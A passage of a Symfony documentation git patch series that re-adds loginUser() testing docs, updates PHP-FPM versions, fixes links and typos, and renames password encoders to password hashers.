+provides a ``loginUser()`` method to simulate logging in in your functional
+tests.
+
+Instead of logging in with real users, it's recommended to create a user only for
+tests. You can do that with Doctrine :ref:`data fixtures <user-data-fixture>`,
+to load the testing users only in the test database.
+
+After loading users in your database, use your user repository to fetch
+this user and use
+:method:`$client->loginUser() <Symfony\\Bundle\\FrameworkBundle\\KernelBrowser::loginUser>`
+to simulate a login request::
+
+    // tests/Controller/ProfileControllerTest.php
+    namespace App\Tests\Controller;
+
+    use App\Repository\UserRepository;
+    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+
+    class ProfileControllerTest extends WebTestCase
+    {
+        // ...
+
+        public function testVisitingWhileLoggedIn()
+        {
+            $client = static::createClient();
+            $userRepository = static::$container->get(UserRepository::class);
+
+            // retrieve the test user
+            $testUser = $userRepository->findOneByEmail('john.doe@example.com');
+
+            // simulate $testUser being logged in
+            $client->loginUser($testUser);
+
+            // test e.g. the profile page
+            $client->request('GET', '/profile');
+
+            $this->assertResponseIsSuccessful();
+            $this->assertSelectorTextContains('h1', 'Hello John!');
+        }
+    }
+
+You can pass any
+:class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` instance to
+``loginUser()``. This method creates a special
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
+stores in the session of the test client.
+
 Making AJAX Requests
 ....................
 

From ad63bc4c46530fd3614438761e0fb5921192e103 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 3 May 2021 12:34:20 +0200
Subject: [PATCH 0808/5766] Readd loginUser() docs

---
 testing.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index d22d25256db..1e738fe395d 100644
--- a/testing.rst
+++ b/testing.rst
@@ -617,7 +617,6 @@ to simulate a login request::
 
             // test e.g. the profile page
             $client->request('GET', '/profile');
-
             $this->assertResponseIsSuccessful();
             $this->assertSelectorTextContains('h1', 'Hello John!');
         }

From 0bd963f9876099bb04da2cbec2e22bc260716ca0 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 3 May 2021 12:35:46 +0200
Subject: [PATCH 0809/5766] Fix CI

---
 testing.rst             | 1 -
 testing/dom_crawler.rst | 4 ----
 2 files changed, 5 deletions(-)

diff --git a/testing.rst b/testing.rst
index 1e738fe395d..ac92f8afda4 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1008,6 +1008,5 @@ Learn more
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`symfony/panther`: https://github.com/symfony/panther
 .. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
index 9a98ee95aeb..7b47487d09f 100644
--- a/testing/dom_crawler.rst
+++ b/testing/dom_crawler.rst
@@ -92,7 +92,3 @@ The Crawler can extract information from the nodes::
     $data = $crawler->each(function ($node, $i) {
         return $node->attr('href');
     });
-
-.. versionadded:: 4.4
-
-    The option to trim white spaces in ``text()`` was introduced in Symfony 4.4.

From d224e0d74e9a9eb96db5498cffd146512f8d50ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 13:07:41 +0200
Subject: [PATCH 0810/5766] Fixed RST issues spotted by DOCtor-RST

---
 testing.rst             | 1 -
 testing/dom_crawler.rst | 4 ----
 2 files changed, 5 deletions(-)

diff --git a/testing.rst b/testing.rst
index d22d25256db..68c952556bc 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1009,6 +1009,5 @@ Learn more
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`symfony/panther`: https://github.com/symfony/panther
 .. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/dom_crawler.rst b/testing/dom_crawler.rst
index 9a98ee95aeb..7b47487d09f 100644
--- a/testing/dom_crawler.rst
+++ b/testing/dom_crawler.rst
@@ -92,7 +92,3 @@ The Crawler can extract information from the nodes::
     $data = $crawler->each(function ($node, $i) {
         return $node->attr('href');
     });
-
-.. versionadded:: 4.4
-
-    The option to trim white spaces in ``text()`` was introduced in Symfony 4.4.

From 52d03078d0c93db314ce1bd01bc57b870eb07f9d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 3 May 2021 23:20:25 +0200
Subject: [PATCH 0811/5766] Updating to PHP 7.4

---
 setup/web_server_configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 98583041df9..70abd214a42 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -177,7 +177,7 @@ Apache with PHP-FPM
 To make use of PHP-FPM with Apache, you first have to ensure that you have
 the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
 installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php7.1-fpm`` packages).
+``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
 
 PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
 configure an arbitrary number of pools in the FPM configuration. In a pool
@@ -192,7 +192,7 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.1-fpm.sock
+    listen = /var/run/php/php7.4-fpm.sock
 
     ; or listen on a TCP socket
     listen = 127.0.0.1:9000
@@ -290,7 +290,7 @@ instead:
 
 .. code-block:: apache
 
-    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.1-fpm.sock -pass-header Authorization
+    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.4-fpm.sock -pass-header Authorization
 
 .. _web-server-nginx:
 
@@ -318,7 +318,7 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 

From 7f580b791d5eec393fdb225b1388cdbd2be54783 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 12:11:57 +0200
Subject: [PATCH 0812/5766] [FrameworkBundle] Document env vars in
 framework.ide

---
 reference/configuration/framework.rst | 50 ++++++++++++++++++++++++---
 1 file changed, 46 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0ca87286119..d45f35dc742 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -461,10 +461,52 @@ doubling them to prevent Symfony from interpreting them as container parameters)
         };
 
 Since every developer uses a different IDE, the recommended way to enable this
-feature is to configure it on a system level. This can be done by setting the
-``xdebug.file_link_format`` option in your ``php.ini`` configuration file. The
-format to use is the same as for the ``framework.ide`` option, but without the
-need to escape the percent signs (``%``) by doubling them:
+feature is to configure it on a system level. First, you can set its value to
+some environment variable that stores the name of the IDE/editor:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
+            ide: '%env(resolve:CODE_EDITOR)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.) -->
+            <framework:config ide="%env(resolve:CODE_EDITOR)%"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
+            $framework->ide('%env(resolve:CODE_EDITOR)%');
+        };
+
+.. versionadded:: 5.3
+
+    The option to use env vars in the ``framework.ide`` option was introduced
+    in Symfony 5.3.
+
+Another alternative is to set the ``xdebug.file_link_format`` option in your
+``php.ini`` configuration file. The format to use is the same as for the
+``framework.ide`` option, but without the need to escape the percent signs
+(``%``) by doubling them:
 
 .. code-block:: ini
 

From 57f0d8222a7ecaf76a62c2f556251a9982fc6184 Mon Sep 17 00:00:00 2001
From: iamvar <iamvar@gmail.com>
Date: Thu, 6 May 2021 13:34:53 +0300
Subject: [PATCH 0813/5766] remove unused inc file

---
 setup/_vendor_deps.rst.inc | 59 --------------------------------------
 1 file changed, 59 deletions(-)
 delete mode 100644 setup/_vendor_deps.rst.inc

diff --git a/setup/_vendor_deps.rst.inc b/setup/_vendor_deps.rst.inc
deleted file mode 100644
index 58f582be681..00000000000
--- a/setup/_vendor_deps.rst.inc
+++ /dev/null
@@ -1,59 +0,0 @@
-Managing Vendor Libraries with ``composer.json``
-------------------------------------------------
-
-How Does it Work?
-~~~~~~~~~~~~~~~~~
-
-Every Symfony project uses a group of third-party "vendor" libraries. One
-way or another the goal is to download these files into your ``vendor/``
-directory and, ideally, to give you some sane way to manage the exact version
-you need for each.
-
-By default, these libraries are downloaded by running a ``composer install``
-"downloader" binary. This ``composer`` file is from a library called `Composer`_
-and you can read more about :doc:`installing Composer globally </setup/composer>`.
-
-The ``composer`` command reads from the ``composer.json`` file at the root
-of your project. This is an JSON-formatted file, which holds a list of each
-of the external packages you need, the version to be downloaded and more.
-``composer`` also reads from a ``composer.lock`` file, which allows you to
-pin each library to an **exact** version. In fact, if a ``composer.lock``
-file exists, the versions inside will override those in ``composer.json``.
-To upgrade your libraries to new versions, run ``composer update``.
-
-.. tip::
-
-    If you want to add a new package to your application, run the composer
-    ``require`` command:
-
-    .. code-block:: terminal
-
-        $ composer require doctrine/doctrine-fixtures-bundle
-
-To learn more about Composer, see `GetComposer.org`_:
-
-It's important to realize that these vendor libraries are *not* actually part
-of *your* repository. Instead, they're un-tracked files that are downloaded
-into the ``vendor/``. But since all the information needed to download these
-files is saved in ``composer.json`` and ``composer.lock`` (which *are* stored
-in the repository), any other developer can use the project, run ``composer install``,
-and download the exact same set of vendor libraries. This means that you're
-controlling exactly what each vendor library looks like, without needing to
-actually commit them to *your* repository.
-
-So, whenever a developer uses your project, they should run the ``composer install``
-script to ensure that all of the needed vendor libraries are downloaded.
-
-.. sidebar:: Upgrading Symfony
-
-    Since Symfony is just a group of third-party libraries and third-party
-    libraries are entirely controlled through ``composer.json`` and ``composer.lock``,
-    upgrading Symfony means simply upgrading each of these files to match
-    their state in the latest Symfony Standard Edition.
-
-    If you've added new entries to ``composer.json``, be sure
-    to replace only the original parts (i.e. be sure not to also delete any of
-    your custom entries).
-
-.. _Composer: https://getcomposer.org/
-.. _GetComposer.org: https://getcomposer.org/

From e8b682cc5ad791f73b3487d342d1375f9602044d Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 6 May 2021 20:21:10 +0200
Subject: [PATCH 0814/5766] Fix link to Composer

By the way, I added a small change in the "Before You Start" section.
---
 create_framework/introduction.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index dfef9228e44..d3574de4c94 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -64,7 +64,7 @@ Reading about how to create a framework is not enough. You will have to follow
 along and actually type all the examples included in this tutorial. For that,
 you need a recent version of PHP (7.4 or later is good enough), a web server
 (like Apache, nginx or PHP's built-in web server), a good knowledge of PHP and
-an understanding of Object Oriented programming.
+an understanding of Object Oriented Programming.
 
 Ready to go? Read on!
 
@@ -113,5 +113,5 @@ In the :doc:`next chapter </create_framework/http_foundation>`, we are going to
 introduce the HttpFoundation Component and see what it brings us.
 
 .. _`Symfony`: https://symfony.com/
-.. _`Composer`: https//getcomposer.org/
+.. _`Composer`: https://getcomposer.org/
 .. _`download and install Composer`: https://getcomposer.org/download/

From f6826fa6affb294aa1de80fc118606add9b649cc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 7 May 2021 10:23:58 +0200
Subject: [PATCH 0815/5766] CI: Add new rule for DOCtor-RST

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index af13fb7be61..76113397e68 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -8,6 +8,7 @@ rules:
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_link_definition_contains_valid_url: ~
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     extension_xlf_instead_of_xliff: ~

From af9268451a696b0b28a73e15e06611c12fa864c6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <2144837+alexandre-daubois@users.noreply.github.com>
Date: Fri, 7 May 2021 16:57:04 +0200
Subject: [PATCH 0816/5766] [Serializer] Fixed occurence of an old FQCN
 notation

---
 components/serializer.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 0421561a1e0..bf39ee381f6 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -174,6 +174,8 @@ when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` contex
 ``false`` and provide an object that implements ``ClassMetadataFactoryInterface``
 when constructing the normalizer::
 
+    use App\Model\Person;
+
     $data = <<<EOF
     <person>
         <name>foo</name>
@@ -189,7 +191,7 @@ when constructing the normalizer::
 
     // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException
     // because "city" is not an attribute of the Person class
-    $person = $serializer->deserialize($data, 'App\Model\Person', 'xml', [
+    $person = $serializer->deserialize($data, Person::class, 'xml', [
         AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false,
     ]);
 

From 49b9310cebabc34519f6a9025661770644ee7750 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre@users.noreply.github.com>
Date: Fri, 7 May 2021 23:11:05 +0200
Subject: [PATCH 0817/5766] s/it's/its

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 74d986ed868..e698fd70290 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -163,7 +163,7 @@ like this:
     If you are creating your first workflows, consider using the ``workflow:dump``
     command to :doc:`debug the workflow contents </workflow/dumping-workflows>`.
 
-The configured property will be used via it's implemented getter/setter methods by the marking store::
+The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php
     namespace App\Entity;

From ffef3e60567041169c523659151f4b8d317658b2 Mon Sep 17 00:00:00 2001
From: Kiel Goodman <kieljohn@users.noreply.github.com>
Date: Sat, 8 May 2021 14:44:25 +0100
Subject: [PATCH 0818/5766] Options node doesn't do anything

The array is passed directly into the Runtime $options so it's already available as $options['project_dir']
---
 components/runtime.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index cf11c81e60f..e7e14c8f2d2 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -316,9 +316,7 @@ You can also configure ``extra.runtime.options`` in ``composer.json``:
         },
         "extra": {
             "runtime": {
-                "options": {
-                    "project_dir": "/var/task"
-                }
+                "project_dir": "/var/task"
             }
         }
     }

From a6672e96d19447cca282a6edbf3f841a38530073 Mon Sep 17 00:00:00 2001
From: David Ward <dward@wevad.com>
Date: Thu, 6 May 2021 11:14:07 -0700
Subject: [PATCH 0819/5766] [Uid] Add note about ULIDs not being random in one
 case

---
 components/uid.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 6a73666f511..f0bb06cc07c 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -209,6 +209,13 @@ ULIDs are an alternative to UUIDs when using those is impractical. They provide
 128-bit compatibility with UUID, they are lexicographically sortable and they
 are encoded as 26-character strings (vs 36-character UUIDs).
 
+.. note::
+
+    If you generate more than one ULID during the same millisecond in the
+    same process then the random portion is incremented by one bit in order
+    to provide monotonicity for sorting.  The random portion is **not**
+    random compared to the previous ULID in this case.
+
 Generating ULIDs
 ~~~~~~~~~~~~~~~~
 

From c7f60e15fc51df760ad6a419ea75be7534a01832 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 8 May 2021 15:46:58 +0200
Subject: [PATCH 0820/5766] Minor tweak

---
 components/uid.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index f0bb06cc07c..0e374cb1301 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -213,8 +213,8 @@ are encoded as 26-character strings (vs 36-character UUIDs).
 
     If you generate more than one ULID during the same millisecond in the
     same process then the random portion is incremented by one bit in order
-    to provide monotonicity for sorting.  The random portion is **not**
-    random compared to the previous ULID in this case.
+    to provide monotonicity for sorting. The random portion is not random
+    compared to the previous ULID in this case.
 
 Generating ULIDs
 ~~~~~~~~~~~~~~~~

From 1425b95a6eb4a8f8661dd3d18f1389c25f248b87 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 May 2021 17:39:07 +0200
Subject: [PATCH 0821/5766] [Security] Renamed encoders to password_hashers

---
 _build/redirection_map                        |   1 +
 components/security/authentication.rst        | 105 ++++++++--------
 reference/configuration/security.rst          | 116 ++++++++++--------
 security.rst                                  |  42 ++++---
 .../{named_encoders.rst => named_hashers.rst} |  66 +++++-----
 security/password_migration.rst               |  80 ++++++------
 security/user_provider.rst                    |  22 ++--
 7 files changed, 229 insertions(+), 203 deletions(-)
 rename security/{named_encoders.rst => named_hashers.rst} (72%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 68095fcf2b8..1069505a81a 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -514,3 +514,4 @@
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
 /frontend/encore/shared-entry /frontend/encore/split-chunks
 /testing/functional_tests_assertions /testing#testing-application-assertions
+/security/named_encoders /security/named_hashers
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 18b780b6d84..9cca9f18d9f 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -121,12 +121,12 @@ the given password is valid.
 
 This functionality is offered by the :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`.
 It fetches the user's data from a :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`,
-uses a :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
+uses a :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
 to create a hash of the password and returns an authenticated token if the
 password was valid::
 
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactoryInterface;
     use Symfony\Component\Security\Core\Authentication\Provider\DaoAuthenticationProvider;
-    use Symfony\Component\Security\Core\Encoder\EncoderFactory;
     use Symfony\Component\Security\Core\User\InMemoryUserProvider;
     use Symfony\Component\Security\Core\User\UserChecker;
 
@@ -145,14 +145,14 @@ password was valid::
     // for some extra checks: is account enabled, locked, expired, etc.
     $userChecker = new UserChecker();
 
-    // an array of password encoders (see below)
-    $encoderFactory = new EncoderFactory(...);
+    // an array of password hashers (see below)
+    $hasherFactory = new PasswordHasherFactoryInterface(...);
 
     $daoProvider = new DaoAuthenticationProvider(
         $userProvider,
         $userChecker,
         'secured_area',
-        $encoderFactory
+        $hasherFactory
     );
 
     $daoProvider->authenticate($unauthenticatedToken);
@@ -165,69 +165,76 @@ password was valid::
     It is also possible to let multiple user providers try to find the user's
     data, using the :class:`Symfony\\Component\\Security\\Core\\User\\ChainUserProvider`.
 
-The Password Encoder Factory
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _the-password-encoder-factory:
+
+The Password Hasher Factory
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`
-uses an encoder factory to create a password encoder for a given type of
-user. This allows you to use different encoding strategies for different
-types of users. The default :class:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderFactory`
-receives an array of encoders::
+uses a factory to create a password hasher for a given type of user. This allows
+you to use different hashing strategies for different types of users.
+The default :class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`
+receives an array of hashers::
 
     use Acme\Entity\LegacyUser;
-    use Symfony\Component\Security\Core\Encoder\EncoderFactory;
-    use Symfony\Component\Security\Core\Encoder\MessageDigestPasswordEncoder;
+    use Symfony\Component\PasswordHasher\Hasher\MessageDigestPasswordHasher;
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
     use Symfony\Component\Security\Core\User\InMemoryUser;
 
-    $defaultEncoder = new MessageDigestPasswordEncoder('sha512', true, 5000);
-    $weakEncoder = new MessageDigestPasswordEncoder('md5', true, 1);
+    $defaultHasher = new MessageDigestPasswordHasher('sha512', true, 5000);
+    $weakHasher = new MessageDigestPasswordHasher('md5', true, 1);
 
-    $encoders = [
-        InMemoryUser::class => $defaultEncoder,
-        LegacyUser::class   => $weakEncoder,
+    $hashers = [
+        InMemoryUser::class => $defaultHasher,
+        LegacyUser::class   => $weakHasher,
         // ...
     ];
-    $encoderFactory = new EncoderFactory($encoders);
+    $hasherFactory = new PasswordHasherFactory($hashers);
 
-Each encoder should implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
+Each hasher should implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
 or be an array with a ``class`` and an ``arguments`` key, which allows the
-encoder factory to construct the encoder only when it is needed.
+hasher factory to construct the hasher only when it is needed.
+
+.. _creating-a-custom-password-encoder:
 
-Creating a custom Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Creating a custom Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-There are many built-in password encoders. But if you need to create your
+There are many built-in password hasher. But if you need to create your
 own, it needs to follow these rules:
 
-#. The class must implement :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
-   (you can also extend :class:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder`);
+#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
+   (you can also extend :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasher`);
 
 #. The implementations of
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::encodePassword`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::hashPassword`
    and
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface::isPasswordValid`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::isPasswordValid`
    must first of all make sure the password is not too long, i.e. the password length is no longer
    than 4096 characters. This is for security reasons (see `CVE-2013-5750`_), and you can use the
-   :method:`Symfony\\Component\\Security\\Core\\Encoder\\BasePasswordEncoder::isPasswordTooLong`
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\CheckPasswordLengthTrait::isPasswordTooLong`
    method for this check::
 
-       use Symfony\Component\Security\Core\Encoder\BasePasswordEncoder;
+       use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait;
+       use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher;
        use Symfony\Component\Security\Core\Exception\BadCredentialsException;
 
-       class FoobarEncoder extends BasePasswordEncoder
+       class FoobarHasher extends UserPasswordHasher
        {
-           public function encodePassword($raw, $salt)
+           use CheckPasswordLengthTrait;
+
+           public function hashPassword(UserInterface $user, string $plainPassword): string
            {
-               if ($this->isPasswordTooLong($raw)) {
+               if ($this->isPasswordTooLong($user->getPassword())) {
                    throw new BadCredentialsException('Invalid password.');
                }
 
                // ...
            }
 
-           public function isPasswordValid($encoded, $raw, $salt)
+           public function isPasswordValid(UserInterface $user, string $plainPassword)
            {
-               if ($this->isPasswordTooLong($raw)) {
+               if ($this->isPasswordTooLong($user->getPassword())) {
                    return false;
                }
 
@@ -235,13 +242,15 @@ own, it needs to follow these rules:
            }
        }
 
-Using Password Encoders
-~~~~~~~~~~~~~~~~~~~~~~~
+.. _using-password-encoders:
 
-When the :method:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderFactory::getEncoder`
-method of the password encoder factory is called with the user object as
-its first argument, it will return an encoder of type :class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`
-which should be used to encode this user's password::
+Using Password Hashers
+~~~~~~~~~~~~~~~~~~~~~~
+
+When the :method:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory::getPasswordHasher`
+method of the password hasher factory is called with the user object as
+its first argument, it will return a hasher of type :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`
+which should be used to hash this user's password::
 
     // a Acme\Entity\LegacyUser instance
     $user = ...;
@@ -249,12 +258,12 @@ which should be used to encode this user's password::
     // the password that was submitted, e.g. when registering
     $plainPassword = ...;
 
-    $encoder = $encoderFactory->getEncoder($user);
+    $hasher = $hasherFactory->getPasswordHasher($user);
 
-    // returns $weakEncoder (see above)
-    $encodedPassword = $encoder->encodePassword($plainPassword, $user->getSalt());
+    // returns $weakHasher (see above)
+    $hashedPassword = $hasher->hashPassword($user, $plainPassword);
 
-    $user->setPassword($encodedPassword);
+    $user->setPassword($hashedPassword);
 
     // ... save the user
 
@@ -267,11 +276,7 @@ in) is correct, you can use::
     // the submitted password, e.g. from the login form
     $plainPassword = ...;
 
-    $validPassword = $encoder->isPasswordValid(
-        $user->getPassword(), // the encoded password
-        $plainPassword,       // the submitted password
-        $user->getSalt()
-    );
+    $validPassword = $hasher->isPasswordValid($user, $plainPassword);
 
 Authentication Events
 ---------------------
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 630c65879f1..a7b644add9a 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -40,7 +40,7 @@ Some of these options define tens of sub-options and they are explained in
 separate articles:
 
 * `access_control`_
-* `encoders`_
+* `hashers`_
 * `firewalls`_
 * `providers`_
 * `role_hierarchy`_
@@ -120,15 +120,16 @@ and to allow anonymous users to the login form page.
 
 This option is explained in detail in :doc:`/security/access_control`.
 
-encoders
---------
+.. _encoders:
 
-This option defines the algorithm used to *encode* the password of the users.
-Although Symfony calls it *"password encoding"* for historical reasons, this is
-in fact, *"password hashing"*.
+hashers
+-------
+
+This option defines the algorithm used to *hash* the password of the users
+(which in previous Symfony versions was wrongly called *"password encoding"*).
 
 If your app defines more than one user class, each of them can define its own
-encoding algorithm. Also, each algorithm defines different config options:
+hashing algorithm. Also, each algorithm defines different config options:
 
 .. configuration-block::
 
@@ -138,25 +139,25 @@ encoding algorithm. Also, each algorithm defines different config options:
         security:
             # ...
 
-            encoders:
-                # auto encoder with default options
+            password_hashers:
+                # auto hasher with default options
                 App\Entity\User: 'auto'
 
-                # auto encoder with custom options
+                # auto hasher with custom options
                 App\Entity\User:
                     algorithm: 'auto'
                     cost:      15
 
-                # Sodium encoder with default options
+                # Sodium hasher with default options
                 App\Entity\User: 'sodium'
 
-                # Sodium encoder with custom options
+                # Sodium hasher with custom options
                 App\Entity\User:
                     algorithm:   'sodium'
                     memory_cost:  16384 # Amount in KiB. (16384 = 16 MiB)
                     time_cost:    2     # Number of iterations
 
-                # MessageDigestPasswordEncoder encoder using SHA512 hashing with default options
+                # MessageDigestPasswordHasher hasher using SHA512 hashing with default options
                 App\Entity\User: 'sha512'
 
     .. code-block:: xml
@@ -173,37 +174,37 @@ encoding algorithm. Also, each algorithm defines different config options:
 
             <config>
                 <!-- ... -->
-                <!-- auto encoder with default options -->
-                <encoder
+                <!-- auto hasher with default options -->
+                <security:password-hasher
                     class="App\Entity\User"
                     algorithm="auto"
                 />
 
-                <!-- auto encoder with custom options -->
-                <encoder
+                <!-- auto hasher with custom options -->
+                <security:password-hasher
                     class="App\Entity\User"
                     algorithm="auto"
                     cost="15"
                 />
 
-                <!-- Sodium encoder with default options -->
-                <encoder
+                <!-- Sodium hasher with default options -->
+                <security:password-hasher
                     class="App\Entity\User"
